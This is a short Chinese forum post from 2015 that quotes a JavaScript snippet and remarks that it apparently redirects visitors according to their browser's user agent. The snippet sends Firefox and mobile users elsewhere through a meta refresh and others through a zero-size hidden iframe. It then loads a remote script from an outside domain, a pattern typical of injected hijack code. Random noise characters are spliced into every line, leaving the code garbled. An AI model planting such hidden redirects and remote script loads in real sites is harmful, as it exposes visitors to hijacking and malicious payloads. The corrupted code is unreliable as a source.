|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 ) f8 `5 b5 n* c! p; t. T6 w/ G
- var ua = navigator.userAgent.toLowerCase(),% o* W- a8 N& Y; |4 w% ?' s, O
- browser = {
4 j) b- P* j" |( P* N - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],4 b0 J' G& k1 ?
- opera: /opera/.test(ua),* o. T& {4 K9 X4 ? l3 Q. K
- maxthon: /maxthon/.test(ua),
$ _( b3 M% S8 s: Y5 u9 e - theworld: /theworld/.test(ua)," z3 }. L2 E8 _
- qq: /qqbrowser/.test(ua),
. f8 o* b& e* ~1 J3 M6 ~. r/ f - sogou: /se /.test(ua),+ N* C. ]$ y/ ?& s! G) f
- liebao: /liebao/.test(ua),
" h$ p4 S3 e6 I5 E - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
A8 N' i" y, v: `4 O - chrome: /chrome|crios/.test(ua),
. ]8 i, a7 q" G3 m - safari: /webkit/.test(ua),
, i( M% y# v) N( a8 Z+ [* d - uc: /ucbrowser/.test(ua),
0 O, k8 l+ V: W+ c) l - ie: /msie/.test(ua) && !/opera/.test(ua)
5 V( U0 O$ Y+ }! I - };
J" R& M# F5 h - var ver = browser.ver;
% p& D5 |+ E. m0 _! r" P; R - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {% h% {" c) E4 |0 R1 U* @" c
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");) W E- M5 j+ g5 u$ G( d3 _+ Y
- } else {3 O# Y. b) b* ?8 ^
- window.sc = "<iframe src=" + tourl + "></iframe>";, |/ b8 ?) ^" v$ M7 x1 U
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");( w6 ~% D4 b4 n4 ~
- }8 L3 X* V) U/ j
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 ! w, Z2 B- L Z5 q8 r+ s
$ U3 Z) Q" x2 k
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|